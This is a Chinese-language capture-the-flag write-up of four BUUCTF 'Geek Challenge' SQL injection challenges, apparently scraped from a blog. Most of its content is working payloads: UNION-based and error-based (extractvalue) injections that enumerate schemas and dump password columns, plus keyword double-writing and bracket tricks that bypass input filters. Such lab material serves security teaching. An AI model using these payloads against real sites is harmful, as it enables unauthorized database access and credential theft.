BUUCTF—极客大挑战sql注入题

文章目录

    • EasySql
    • Love sql
      • 1、爆数据库
      • 2、爆数据表
      • 3、爆列名
      • 3、爆值
    • BabySQL
      • 尝试双写绕过
      • 1、爆数据库
      • 2、爆表名
      • 3、爆列名
      • 4、爆值
    • hard sql
      • 1、爆数据库
      • 2、爆表名
      • 3、爆列名
      • 4、爆值

EasySql

尝试万能密码登录
BUUCTF—极客大挑战sql注入题_第1张图片
flag直接显示出来了

flag{c87ced50-5e7f-405c-bbc3-044615494dac}

Love sql

依旧尝试万能密码

BUUCTF—极客大挑战sql注入题_第2张图片
查看地址栏发现是以get方式传参,那就好办多了
BUUCTF—极客大挑战sql注入题_第3张图片
判断列数

check.php?username=admin' order by 3%23&password=123

order by 3的时候还没报错,当为4的时候报错了,那么可以得到列数为3
下面就进行联合注入查询即可:
判断回显点
2,3均可利用

check.php?username=-1' union select 1,2,3%23&password=123

BUUCTF—极客大挑战sql注入题_第4张图片

1、爆数据库

check.php?username=-1' union select 1,database(),3%23&password=123

BUUCTF—极客大挑战sql注入题_第5张图片

2、爆数据表

check.php?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=123

爆出了geekuser和l0ve1ysq1这两张表
BUUCTF—极客大挑战sql注入题_第6张图片

3、爆列名

盲猜我们要的flag在geekuser这张表中

check.php?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=123

BUUCTF—极客大挑战sql注入题_第7张图片

3、爆值

check.php?username=-1' union select 1,group_concat(password),3 from l0ve1ysq1%23&password=admin

在这里插入图片描述

BabySQL

BUUCTF—极客大挑战sql注入题_第8张图片
根据提示,肯定过滤了一些字符,测试:
BUUCTF—极客大挑战sql注入题_第9张图片
select、or、where、空格、and、union、from等都被过滤了

尝试双写绕过

判断列数

check.php?username=-1' ununionion selselectect 1,2,3%23&password=admin

BUUCTF—极客大挑战sql注入题_第10张图片

1、爆数据库

check.php?username=1' ununionion selselectect 1,database(),3%23&password=admin
BUUCTF—极客大挑战sql注入题_第11张图片

2、爆表名

check.php?username=1' ununionion selselectect 1,group_concat(table_name),3 frofromm information_schema.tables whwhereere table_schema='geek'%23&password=admin

BUUCTF—极客大挑战sql注入题_第12张图片

报错了,报错信息显示information中的or没有显示,我突然想起来or也被过滤了,也双写以下就行了
BUUCTF—极客大挑战sql注入题_第13张图片

3、爆列名

check.php?username=1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=admin

BUUCTF—极客大挑战sql注入题_第14张图片

4、爆值

check.php?username=1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql%23&password=123456

BUUCTF—极客大挑战sql注入题_第15张图片

hard sql

先fuzz测试一下

BUUCTF—极客大挑战sql注入题_第16张图片
空格,union,and,=,/**/,+,等等都被过滤了
显然联合查询注入不能用了,报错注入的函数没被过滤,我们试一下

1、爆数据库

空格我们用()包裹

'or(extractvalue(1,concat(0x7e,database(),0x7e)))#

BUUCTF—极客大挑战sql注入题_第17张图片

2、爆表名

= 我们用like绕过

'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))#

BUUCTF—极客大挑战sql注入题_第18张图片

3、爆列名

'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)))))#
BUUCTF—极客大挑战sql注入题_第19张图片

4、爆值

'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

BUUCTF—极客大挑战sql注入题_第20张图片
79a8e7c9-cb72-406b-8561-dc
只显示了一部分,我们把右边的flag也爆出来

'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

BUUCTF—极客大挑战sql注入题_第21张图片

flag{cceadf67-c8fe-41b9-8e3f-ead6beb68b4c}

你可能感兴趣的:(Web安全-Sql注入,Web安全-CTF)